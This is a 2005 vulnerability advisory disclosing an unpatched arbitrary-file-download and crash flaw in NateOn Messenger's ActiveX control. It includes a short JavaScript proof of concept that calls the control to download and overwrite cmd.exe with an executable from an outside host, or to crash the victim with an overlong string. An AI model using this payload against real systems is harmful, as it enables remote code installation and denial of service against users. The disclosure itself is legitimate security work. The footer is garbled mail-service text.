Title: Arbitrary File Download by NateOn Messagener's ActiveX and DoS Discoverer: PARK, GYU TAE (saintlinu@private) Advisory No.: NRVA05-08 Critical: Moderately Critical Impact: Arbitrary file download by NateOn Messagener's ActiveX and DoS Where: From remote Operating System: Windows Only Solution: unpatch yet Workaround: N / A Notice: 09. 17. 2005 Initiate notified 09. 23. 2005 2nd notified 09. 27. 2005 3rd notified 09. 29. 2005 Vendor didn't response. Disclosure vulnerability Description: The NateOn Messenger(See a NRVA05-02) is Internet Instance Messenger such as MSN, YAHOO and so on If installed NateOn Messenger then can exploit by 'NateonDownloadManager.ocx' ActiveX and there is another vulnerability like Buffer Overflow See following detail describe: NOT INCLUDED HERE BUT A PIECE OF CODE <--snip--> i = GotNate.IsNateonInstall(); if( i == 1 ) { alert('NateOn Messenger already installed. Do Attack ...'); // if you want to second order attack then try i = GotNate.Excute("1",'http://saintlinu.null2root.org/gotit.exe','c:\\windows\\ system32\\cmd.exe'); // if you want to crash to victim system the try i = GotNate.Excute("1",'http://saintlinu.null2root.org/gotit.exe','very_long_str ings_in_here'); } else { alert('NateOn Messenger NOT Installed'); } </--snip--> ________________________________________________________ ¹«·á 1GB¿ë·®!, ´õ ÀÌ»ó ¿ë·® °í¹Î¾ø´Â - ¾ßÈÄ! ¸ÞÀÏ (http://mail.yahoo.co.kr) ÃֽŠÈÞ´ëÆù Á¤º¸, º§¼Ò¸®, ij¸¯ÅÍ, ¹®ÀÚ¸Þ¼¼Áö - ¾ßÈÄ! ¸ð¹ÙÀÏ (http://kr.mobile.yahoo.com) ´ëÇѹα¹ ºí·Î±×°¡ ¸ðÀÎ °÷! - ¾ßÈÄ! ÇÇÇøµ(http://kr.ring.yahoo.com)
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